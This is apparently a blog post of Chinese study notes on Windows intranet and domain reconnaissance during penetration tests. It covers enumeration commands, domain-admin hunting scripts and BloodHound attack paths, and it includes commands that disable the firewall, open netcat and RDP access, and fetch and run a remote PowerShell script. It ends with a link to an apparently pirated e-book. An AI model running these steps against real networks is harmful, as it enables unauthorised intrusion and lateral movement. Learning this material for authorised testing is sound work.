收集本机信息
手动收集信息
本机信息包括操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。
通过本机的相关信息,可以进一步了解整个域的操作系统版本、软件及补丁安装情况、用户命名方式等。
1、查询网络配置信息
执行如下命令,获取本机网络配置信息
ipconfig /all
2、查询操作系统及软件的信息
- 查询操作系统和版本信息
英文版操作系统:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"中文版操作系统:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
- 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
- 查看安装的软件及版本、路径等
利用wmic命令,将结果输出到文本文件中:wmic product get name,version
利用powershell命令,收集软件的版本信息:powershell "Get-WmiObject -class win32_Product |Select-Object -Property name,version"
3、查询本机服务信息
wmic service list brief
4、查询进程列表
执行如下命令,可以查看当前进程列表和进程用户,分析软件、邮件客户端、VPN和杀毒软件等进程tasklist
执行如下命令,查看进程信息wmic process list brief
常见杀毒软件的进程:
进程 | 软件名称 |
---|---|
360sd.exe | 360杀毒 |
360tray.exe | 360实时保护 |
ZhuDongFangYu.exe | 360主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 服务器安全狗 |
McAfee McShieId.exe | McAfee |
egui.exe | NOD32 |
AVP.EXE | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
5、查看启动程序信息
wmic startup get command,caption
6、查看计划任务
schtasks /query /fo LIST /V
7、查看主机开机时间
net statistics workstation
8、查询用户列表
执行如下命令,查看本机用户列表:net user
执行如下命令,获取本地管理员(通常包含域用户)信息net localgroup administrators
执行如下命令,查看当前在线用户query user || qwinsta
9、列出或断开本地计算机与所连接的客户端之间的会话
net session
10、查询端口列表
执行如下命令,查看端口列表、本机开放的端口所对应的服务和应用程序netstat -ano
可以看到当前机器和哪些主机建立了连接,以及TCP、UDP等端口的使用和监听情况。
11、查看补丁列表
执行如下命令,查看系统的详细信息systeminfo
需要注意系统的版本、位数、域、补丁信息及更新频率等。域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞。
使用wmic命令查看安装在系统中的补丁wmic qfe get Caption,Description,HotFixID,InstalledOn
12、查询本机共享列表
执行如下命令,查看本机共享列表和可访问的域共享列表(域共享在很多时候是相同的):net share
利用wmic命令查找共享列表wmic share get name,path,status
13、查询路由表及所有可用接口的ARP缓存表
route printarp -a
14、查询防火墙相关配置
- 关闭防火墙
Windows server 2003及之前的版本,命令如下:netsh firewall set opmode disablewindows server 2003之后的版本,命令如下:netsh advfirewall set allprofiles state off
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置
Windows server 2003及之前的版本,允许指定程序全部连接,命令如下:
netsh firewall all allowedprogram c:nc.exe "allow nc" enable
Windows server 2003之后的版本,情况如下:
1、允许指定程序进入,命令如下:netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:nc.exe"2、允许指定程序退出,命令如下:netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:nc.exe"3、允许3389端口放行,命令如下:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志的储存位置
netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"
15、查看代理配置情况
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
16、查询并开启远程连接服务
- 查看远程连接端口
在命令行环境中执行注册表查询语句,命令如下:REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
可以看到,连接的端口为0xd3d,转换后为3389
- 在windows server 2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
- 在Windows server 2008 和Windows server 2012中开启3389端口
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
自动收集信息
为了简化操作,可以创建一个脚本,在目标机器上完成流程、服务、用户账号、用户组、网络接口、硬盘信息、网络共享信息、操作系统、安装的补丁、安装的软件、启动时运行的程序、时区等信息的查询工作。这里使用一个利用WMIC收集目标机器信息的脚本。
WMIC(Windows management instrumentation command-line,windows管理工具命令行)是最有用的Windows命令行工具。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows7以上版本的低权限用户允许访问WMIC并执行相关查询操作
WMIC脚本的下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
执行该脚本后,会将所有结果写入一个HTML文件:
查询当前权限
1、查看当前权限
whoami
获取一台主机的权限后,有如下三种情况:本地普通用户、本地管理员用户、域内用户。
在这三种情况中,如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员用户和域内用户可以查询域内信息。其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输入账号和密码。
本地管理员Administrator权限可以直接提升为Ntauthority或system权限,因此,在域中,除普通用户外,所有的机器都有一个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户。所以,使用system权限可以运行域内的查询命令。
2、获取域SID
whoami /all
当前域yokan的SID为S-1-5-21-3711814681-2143907425-4066055064,域用户administrator的SID为S-1-5-21-3711814681-2143907425-4066055064-1104
3、查询指定用户的详细信息
net user xxx /domain
在命令行环境中输入"net user 98612 /domain",可以看到,当前用户在本地组中具有本地管理员权限,在域中输入Domain Users组
判断是否存在域
获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否存在域。下面是几种判断方法:
1、使用ipconfig命令
执行如下命令,可以查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段等信息ipconfig /all
然后,通过反向解析查询命令nslookup来解析域名的IP地址。用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上
2、查看系统详细信息
systeminfo
"域"即域名,当前域名为yokan.com,如果"域"为"WORKGROUP",表示当前服务器不在域内。
3、查询当前登录域及登录用户信息
net config workstation
"工作站域DNS名称"为域名(如果为WORKGROUP",表示当前为非域环境),“登录域”用于表示当前登录用户是域用户还是本地用户,此处表示当前登录的用户是域用户。
4、判断主域
执行如下命令,判断主域(域服务器通常会同时作为时间服务器使用)net time /domain
执行以上命令后,通常有如下三种情况:
- 存在域,但当前用户不是域用户
- 存在域,且当前用户是域用户
- 当前网络环境为工作组,不存在域
探测域内存活主机
内网存活主机探测是内网渗透测试中不可或缺的一个环节
利用NetBIOS快速探测内网
NetBIOS是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务的统一的命令集。为局域网提供了网络及其他特殊功能。几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名,主要用于局域网中计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程,因此推荐优秀使用。
nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。nbtscan有Windows和Linux两个版本,体积很小,不需要安装特殊的库或DLL就能使用。
NetBIOS的使用方法比较简单。将其上传到目标主机中,然后直接输入IP地址范围并运行
显示结果的第一列为IP地址,第二列为机器名和所在的域名称,最后一列是机器所开启的服务的列表,具体含义如下
Token | 含义 |
---|---|
SHARING | 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享 |
DC | 该机器可能是域控制器 |
U=USER | 该机器中有登录名为User的用户 (不太准确) |
IIS | 该机器中可能安装了IIS服务器 |
EXCHANGE | 该机器中可能安装了Exchange服务器 |
NOTES | 该机器中可能安装了Lotus Notes电子邮件客户端 |
? | 没有识别出该机器的NetBIOS资源(可以使用-F选项再次扫描) |
不加参数直接运行,可以查看帮助文档
利用ICMP协议快速探测内网
依次对内网中的每个IP地址执行ping命令,可以快速找出内网中所有存活的主机。在渗透测试中,可以使用如下命令循环探测整个C段:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
通过ARP扫描探测内网
1、arp-scan工具
直接把arp.exe上传到目标机器中并运行,可以自定义掩码、指定扫描范围等
arp.exe -t 192.168.111.0/24
2、Empire中的arpscan模块
empire内置了arpscan模块。该模块用于在局域网内发生arp数据包、收集活跃主机的IP地址和MAC地址信息。
在empire中输入命令"usermodule situational_awareness/network/arpscan",即可使用其内置的arpscan模块
3、Nishang中的Invoke-ARPScan.ps1脚本
可以将脚本上传到目标主机中运行,也可以直接远程加载脚本、自定义掩码和扫描范围,命令如下:
powershell.exe -exec bypass -Command "& {Import-Module C:WindowstempInvoke-APRScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >>C:windowstemplog.txt
通过常规TCP/UDP端口扫描探测内网
fscan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。详细请看:https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.111.1/24 -m findnet
扫描域内端口
查询目标主机的端口开放信息,需要关注以下三点:(1)端口的banner信息;(2)端口上运行的服务;(3)常见应用的默认端口
在进行内网渗透测试时,通常会使用metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用 自定义的端口扫描脚本进行扫描。在获取授权的情况下,可以执行使用nmap、masscan等端口扫描工具获取开放的端口信息。
利用telnet命令进行扫描
telnet为用户提供了在本地计算机上完成远程主机工作的能力。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的。
telnet ip port 如: telnet 192.168.1.1 80
S扫描器
S扫描器是早期的一种快速端口扫描工具,支持大网段扫描,特别适合运行在Windows Server2003以下版本的操作系统中。S扫描器的扫描结果默认保存在其安装目录下的result.txt文件中。推荐使用TCP扫描,命令如下:
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111,256 /Banner /save
Metasploit端口扫描
Metasploit不仅提供了多种端口扫描技术,还提供了与其他端口扫描工具的接口。在msfconsole下运行“search portscan”命令,即可进行搜素
在本实验中,使用auxiliary/scanner/portscan/tcp模块进行演示
PowerSploit的Invoke-portscan.ps1脚本
PowerSploit的Invoke-portscan.ps1脚本,推荐使用无文件的形式进行扫描,命令如下:
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.111.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:windowstempres/txt"
Nishang的Invoke-PortScan模块
Invoke-PortScan是Nishang的端口扫描模块,用于发现主机、解析主机名、扫描端口,是一个很实用的模块。输入"Get-Help Invoke-PortScan -full"命令,即可查看帮助信息。
Invoke-PortScan的参数介绍如下:
- StartAddress 扫描范围的开始地址
- EndAddress 扫描范围的结束地址
- ScanPort 进行端口扫描
- Port 指定扫描端口。默认扫描的端口有:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901
- TimeOut 设置超时时间
使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名
Import-Module .nishang.psm1Invoke-PortScan -StartAddress 192.168.111.0 -EndAddress 192.168.111.255 -ResolveHost
端口Banner信息
如果通过扫描发现了端口,可以使用客户端连接工具或者nc,获取服务器的Banner信息。获取banner信息后,可以在漏洞库中查找对应CVE编号的POC、EXP,在ExploitDB、Seebug等平台上查看相关的漏洞利用工具,然后到目标系统中验证漏洞是否存在,从而有针对性地进行安全加固。相关漏洞的信息,可以参考如下两个网站:
- 安全焦点:其中的BugTraq是一个出色的漏洞和Exploit数据源,可以通过CVE编号或者产品信息漏洞直接搜索,
- Exploit-DB:取代了老牌安全网站milw0rm,提供了大量的Exploit程序和相关报告,
常见的端口及其说明:
- 文件共享服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
21,22,69 | FTP、TFTP文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
2049 | NFS服务 | 配置不当 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 注入、允许匿名访问、弱口令 |
- 远程连接服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
22 | SSH远程连接 | 爆破片、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP远程桌面连接 | Shift后门(Windows Server 2003以下版本)、爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PcAnyWhere服务 | 抓取密码、代码执行 |
- Web应用服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
80、443、8080 | 常见的Web服务端口 | Web攻击、爆破、对应服务器版本漏洞 |
7001、7002 | WebLogic控制台 | Java反序列化、弱口令 |
8080、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | webmin控制面板 | 弱口令 |
- 数据库服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
3306 | MySQL数据库 | 注入、提权、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反射shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017、27018 | MongoDB数据库 | 爆破、未授权访问 |
6379 | Redis数据库 | 可尝试未授权访问、弱口令爆破 |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
- 邮件服务端口
端口号 | 端口服务 | 使用说明 |
---|---|---|
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破 |
- 网络常见协议端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
53 | DNS域名系统 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67,68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
- 特殊服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
2181 | ZooKeeper服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200、9300 | Elasticsearch服务 | 远程执行 |
11211 | Memcached | 未授权访问 |
512、513、514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
3690 | SVN服务 | SVN泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
收集域内基础信息
确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。因为将要介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行(system权限用户除外)
- 查询域
net view /domain
- 查询域内所有计算机
net view /domain:YOKAN
- 查询域内所有用户组列表
net group /domain
系统自带的常见用户身份如下:
Domain Admins : 域管理员
Domain Computers : 域内机器
Domain Controllers : 域控制器
Domain Guest : 域访客,权限较低
Domain Users : 域用户
Enterprise Admins : 企业系统管理员用户
在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限
- 查询所有域成员计算机列表
net group "domain computers" /domain
- 获取域密码信息
net accounts /domain
- 获取域信任信息
nltest /domain_trusts
查找域控制器
- 查看域控制器的机器名
nltest /DCLIST:yokan
可以看到,域控制器的机器名为:WIN-1D09BAA27UF
- 查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp
可以看到,域控制器的主机名为:win-1d09baa27uf
- 查看当前时间
在通常情况下,时间服务器为主域控制器
net time /domain
- 查看域控制器组
net gourp "Domain Controllers" /domain
在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。
执行如下命令,可以看到主域控制器的机器名
netdom query pdc
获取域内的用户和管理员信息
查询所有域用户列表
- 向域控制器进行查询
net user /domain
- 获取域内用户的详细信息
wmic useraccount get /all
常见参数包括用户名、描述信息、SID、域名、状态等
- 查看存在的用户
dsquery user
- 查询本地管理员组用户
net localgroup administrators
可以看到,本地管理员组内有两个用户和两个组
查询域管理员用户组
- 查询域管理员用户
net group "domain admins" /domain
- 查询管理员用户组
net group "Enterprise Admins” /domain
定位域管理员
内网渗透测试的需求是,获取内网中特定用户或机器的权限,进而获取特定的资源,对内网的安全行进行评估。
定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看。会话是指域内每台机器的登录会话,可以使用netness.exe或PowerView等工具查询(可以匿名查询,不需要权限)
常用的域管理员定位工具有psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及hunter、NetView等。在PowerShell中,常用的工具是PowerView。
- psloggedon.exe
下载:PsLoggedOn - Windows Sysinternals | Microsoft Docs
PSLoggedOn.exe [\computername | username] # \computername指定要列出登录信息的计算机的名称 username指定用户名,在网络中搜索该用户登录的计算机
(好像是 当前被控用户在目标机器上登录过才能查到?)
- PVEFindADUser.exe
下载:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
pvefindaduser.exe -h 显示帮助信息直接运行“pveadfindaduser.exe -current”命令,即可显示域中所有计算机上当前登录的所有用户。查询结果将被输出到report.csv文件中
- netview.exe
下载:https://github.com/mubix/netview
- Nmap的NSE脚本
如果存在域账户或者本地账户,就可以使用Nmap的smb-enum-sessions.nse引擎获取远程机器的登录会话(不需要管理员权限)
下载: smb-enum-sessions NSE Script (nmap.org)
- PowerView脚本
下载: PowerTools/PowerView at master · PowerShellEmpire/PowerTools · GitHub
Invoke-StealthUserHunter:只需要进行一次查询,就可以获取域里面的所有用户。隐蔽性相对较高,但涉及的机器不一定全面。 PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就使用Invoke-UserHunter。Invoke-UserHunter:找到域内特定的用户群,接受用户名、用户列表和域组查询,接受一个主机列表或查询可用的主机域名。 不需要管理员权限
- Empire的user_hunter模块
使用usemodule situational_awareness/network/powerview/user_hunter模块,可以清楚地看到哪个用户登录了哪台主机。可以用于查找域管理员登录的机器。
查找域管理进程
本机检查
- 获取域管理员列表
net group "domain admins" /domain
- 列出本机的所有进程及进程用户
tasklist /v
- 寻找进程所有者为域管理员的进程
通过以上操作可以看出,当前存在域管理员进程。使用以上方法,如果能顺便找到域管理员进程是最好的,但实际情况往往并非如此。
查询域控制器的域用户会话
在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理会话的系统列表。
- 查询域控制器列表
net group "domain controllers" /domain
- 收集域管理员列表
net group "domain admins" /domain
- 收集所有活动域的会话列表
使用netsess.exe查询每个域控制器,收集所有活动域的会话列表netsess.exe -h
- 交叉引用域管理员列表和活动会话列表
** 对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址进程作为域管理员运行**。
将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中,并与netsess.exe放在同一目录下。
运行以下脚本,会在当前目录下生成一个文本文件sessions.txt
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
** Get Domain Admins(GDA)批处理脚本,可以自动完成整个进程,下载**https://github.com/nullbind/Other-Projects/tree/master/GDA
查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理任务
首先,从domain admins组中收集域管理员列表
net group "domain admins" /domain
然后,运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt文件中。
FOR /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
⭐$IPC远程连接,然后列出tasklist寻找域管(ips.txt 域内主机ip ,names.txt 域管列表)
FOR /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U YOKANyokan /P QWERqwer1234!@#$.. 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBIOS信息
某些版本的Windows操作系统允许用户通过NetBIOS查询已登录用户。下面这个Windows命令行脚本就用于扫描远程系统活跃域中的管理会话
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
将目标域系统列表添加到ips.txt文件,域管理列表添加到admins.txt文件中,并之余同一目录下,运行脚本
利用PowerView收集域信息
PowerView是一款依赖Powershell和WMI对内网进行查询的常规渗透测试脚本,它集成在powersploit工具包中。
打开powershell,运行import-module .powerview.ps1
powerview的常用命令如下:
域分析工具BloodHound
BloodHound以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在Red Team面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使Blue Team成员对己方网络系统进行更好的安全检测及保证域的安全性。
BloodHound通过在域内导出相关信息,在将数据收集后,将其导入Neo4j数据库中,进行展示分析。Neo4j是一款NOSQL图形数据库,它将结构化数据存储在网络上而不是表中,Bloodhound正是利用这种特性加以合理分析,可以更加直观的将数据以节点空间”来表达相关数据。
( 复杂的域环境里这东西作用不大. 而且他是遍历域内所有主机枚举session信息,可以说分分钟在ids打出成吨log. 应对简单目标倒是可以使用)
配置环境
1、准备一台Windows服务器操作系统的机器。
2、Neo4j需要JAVA运行环境,从Oracle官网选择Windows x64并下载最新的JDK安装包并安装 https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
3、在Neo4j官网的社区服务版模块中选择Windows并下载最新的Noe4j安装包 https://neo4j.com/download-center/#community
下载后,解压,进入bin目录,在cmd下输入命令"neo4j.bat console",启动Neo4j服务
看到服务成功启动,打开浏览器输入[http://127.0.0.1:7474/browser/](http://127.0.0.1:7474/browser/%5C%5D(http://127.0.0.1:7474/browser/%5C)
打开后输入账号和密码
Host默认为 bolt://127.0.0.1:7687User默认为 neo4jPassword默认为 neo4j
输入完成后提示修改密码,这里为了方便演示将密码改为123456
4、在作者的Github中Bloodhound项目中提供了Neo4j的release版本,也可以选择下载源代码自己构建。我们这里选择直接下载release版本,下载地址: https://github.com/BloodHoundAD/BloodHound/releases/ 。
下载完成后解压,进入目录找到BloodHound.exe并运行。
输入以下信息后,点击Login进入。
Database URL: bolt://localhost:7687DB Username: neo4jDB Password: 123456
现在已经完成了安装。
左上角的三个选项分别是数据库信息、节点信息、查询模块。
在数据库信息下可以显示所分析域的用户数量、计算机数量、组数量、Sessions数量、ACLs数量、关系。
我们可以在右边第四个窗口进行上传数据,BloodHound会帮助我们分析并展示数据。
采集数据
在使用BloodHound进行分析时,需要调用来自活动目录的三条信息:
- 哪些用户登录了哪些机器
- 哪些用户拥有管理员权限
- 哪些用户和组属于哪些组
BloodHound依赖于PowerView.ps1脚本的。BloodHound分为两部分,一是powershell采集器脚本SharpHound.ps1,二是可执行文件SharpHound.exe
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
我们这次使用SharpHound.exe提取域内信息。 将SharpHound.exe复制到目标系统中,打开cmd输入
SharpHound.exe -c all
运行之后,在当前目录下,会生成一个压缩包。BloodHound支持通过界面上传单个文件和ZIP文件。将ZIP文件上传导入BloodHound,即可看到内网的相关信息
可以看到数据库中现在有6920个用户、4431台计算机、205个组、130614条ACL、157179个关系。
查询信息
下面我们进入查询模块,可以看到有预定义了12个常用的查看条件。
1、查找所有域管理员2、寻找最短到达域管理员路径3、寻找管理员登陆记录4、存在Session记录最多的前十个用户5、存在Session记录最多的前十个计算机6、拥有最多本地管理权限的前十个用户7、拥有最多的管理员登陆的前十个机器8、具有外部域组成员的用户9、具有外部域组成员的组10、域信任地图11、SPN用户的最短路径12、SPN用户到域管理员的最短路径
- 我们点击Find all Domain Admins,帮助我们查询有多少个域管理员。
- 让BloodHound帮我们分析,最短到达域管理员的攻击路径。(P85)
BloodHound帮助我们列出了几条线路左上角为目标域管理员组,是本次目标,也是本图所有路线的尽头。
1、左下角第一条线路,这三个用户属于第一个节点的组、第一节点组又在第二节点组的组内,第二节点组又对其上部的第三节点的用户具有权限,该用户又是上一台第四个节点的计算机的本地管理员,可以在这台计算机上拿到上面一个就是第五个节点用户的session,该用户属于DOMAIN ADMINS组,可以通过PTH的方法拿下域管理员和域控制器。在其中第三个节点的分支中的用户可以对处于第三节点的用户强制推送恶意策略,可以直接修改第三节点用户密码,进而再次PTH拿下第四节点,继续推进。2、再说中间的一组,第一个节点中的三个用户为域管理员委派服务账号有权限可以对该域的域控制器进行DCsync同步将第二节点的用户的HASH同步过来,第二节点用户属于DOMAIN ADMINS组,进而拿下域控制器。3、最右边那组第一节点的用户是第二节点计算机的本地管理员,在该计算机上可以获得第三节点的用户HASH,第三节点用户又属于第四节点的组,第四节点组是第五节点计算机的本地管理员组,在该计算机可以获取第五节点用户的HASH,该用户是DOMAIN ADMINS组用户,进而拿下域控制器。
- 查看指定用户域域关联的详细信息
点击任图中任意用户,可以查看该用户Name、DisPlayName、最后修改密码时间、最后登陆时间、该用户登陆在那台计算机存在Session,是否启动、属于那些组、拥有那些机器的本地管理员权限、对 访问对象对控制权限等,BloodHound可以将这些以图表对形式展示出来,方便Pentester更快对进行横向渗透,提升权限。
- 查看指定计算机与域的关系
点击任意计算机,可以看到该计算机在域内名称、系统版本、是否启用、是否允许无约束委托、该计算机存在多少用户的session信息、同一个OU中的相似对象、查看该计算机在那些域树中、存在多少个本地管理员、组关系,对ACL的控制权限。
🌐内网安全攻防-渗透测试实战指南(电子版下载)
链接:
https://pan.baidu.com/s/1ZW6JdYze3f2ETDK0Q9bUuQ?pwd=hncu
原文始发于微信公众号(安全帮):《内网安全攻防渗透测试实战指南》笔记之内网信息收集(文末下载电子版)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论